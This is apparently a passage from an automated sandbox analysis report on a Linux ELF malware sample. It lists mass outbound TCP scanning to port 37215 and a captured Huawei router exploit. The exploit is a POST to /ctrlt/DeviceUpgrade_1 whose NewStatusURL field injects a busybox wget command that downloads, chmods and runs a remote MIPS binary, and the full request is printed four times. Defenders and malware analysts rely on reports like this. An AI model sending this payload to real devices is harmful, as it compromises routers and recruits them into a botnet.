Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.62.23.193:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.153.27.134:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.219.147.203:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.194.38.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.241.176.13:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.238.249.153:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.11.126.27:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.137.23:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.170.155.12:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.54.180.74:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.84.74.179:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.126.68.128:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.226.118.220:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.197.177.93:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.86.9.205:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.82.46.242:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.77.229.246:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.197.233.98:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.121.44.7:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.86.101.90:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.7.127.28:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.254.156.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.32.6.110:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.140.72.110:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.5.106.28:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.155.117.20:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.64.94.237:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.107.229.154:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.202.194.16:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.65.72.112:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.49.7.173:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.90.200.0:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.223.77.168:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.155.23.198:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.156.37.102:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.247.118.108:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.91.45.21:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.108.57.251:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.11.132.132:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.55.251.100:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.146.16.21:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.149.252.6:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.235.1.82:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.105.162.89:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.162.61.79:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.250.30.237:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.55.119.81:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.248.41.30:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.31.43.222:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.247.178.177:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.47.237.203:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.124.62.231:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.165.0:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.18.203.163:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.127.24.209:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.4.147.181:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.60.108.224:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.80.47.158:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.66.49.249:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.205.138.52:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.124.18.233:37215
Source: global traffic TCP traffic: 192.168.2.23:39224 -> 5.181.156.131:2609
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.219.191.219:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.209.71.92:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.122.251.65:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.18.225.18:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.97.119.193:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.208.142.230:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.156.85.86:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.148.36.235:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.76.204.18:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.77.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.48.135.243:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.188.73.134:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.153.105.74:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.242.46.93:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.3.249.232:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.45.227.169:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.22.209.150:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.133.41.35:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.225.94.62:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.52.172.160:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.93.127.223:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.134.66.229:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.4.228.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.45.195.107:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.185.219.143:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.28.69.82:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.222.255.2:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.72.201.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.66.240.96:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.224.18.255:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.233.44.23:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.251.128.194:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.46.19.141:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.52.196.32:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.95.118.133:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.219.89.128:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.187.72.144:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.221.172.168:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.105.40.248:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.12.79.170:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.217.103.76:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.237.181.106:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.143.138.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.246.236.148:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.228.248.11:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.136.228.27:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.237.144.193:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.6.132.142:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.81.6.184:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.169.152.222:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.6.114.133:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.240.1.187:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.78.129.80:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.251.204.75:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.197.226.203:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.156.186.185:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.46.188.146:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.115.249.88:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.108.78.254:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.132.87.114:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.109.33.71:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.80.61.214:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.152.193.74:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.224.62.202:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.41.193.198:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.205.5.173:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.157.206.106:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.140.105.198:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.105.21.138:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.225.226.93:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.112.136.80:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.113.192:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.240.0.8:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.187.126.196:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.154.53.21:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.19.70.116:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.36.36.174:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.246.19.230:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.156.147.176:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.126.25.43:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.190.95.56:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.250.236.146:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.210.85.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.76.12.0:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.99.211.5:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.147.72.5:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.61.150.88:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.69.222.3:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.31.107.25:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.230.113.213:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.161.70.129:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.206.97.176:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.138.122.128:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.119.165.29:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.93.228.136:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.46.86.100:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.68.22.139:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.241.81.206:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.163.242.240:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.88.14.129:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.146.185.56:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.235.111.238:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.133.20.226:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.26.150.246:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.226.193.229:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.13.46.196:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.225.178.78:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.62.224.87:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.248.160.62:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.122.230.116:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.142.49.120:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.137.23.166:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.196.145.13:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.198.85.119:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.158.224.155:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.64.155.170:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.219.62.81:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.227.148.242:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.24.167.51:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.33.171.59:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.120.108.179:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.86.234.226:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.161.18.253:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.166.188.81:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.87.41.224:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.110.78.89:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.13.40.105:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.21.157.128:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.59.38.58:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.47.171.72:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.97.74.253:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.213.162.211:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.186.10.46:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.251.135.200:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.183.120.244:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.57.253.27:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.183.46.38:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.225.79.131:37215
Source: global traffic TCP traffic: 192.168.2.23:13110 -> 156.223.245.100:37215
Sample listens on a socket
Source: /tmp/vvV3pyLNs0.elf (PID: 6255) Socket: 127.0.0.1::41537 Jump to behavior
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
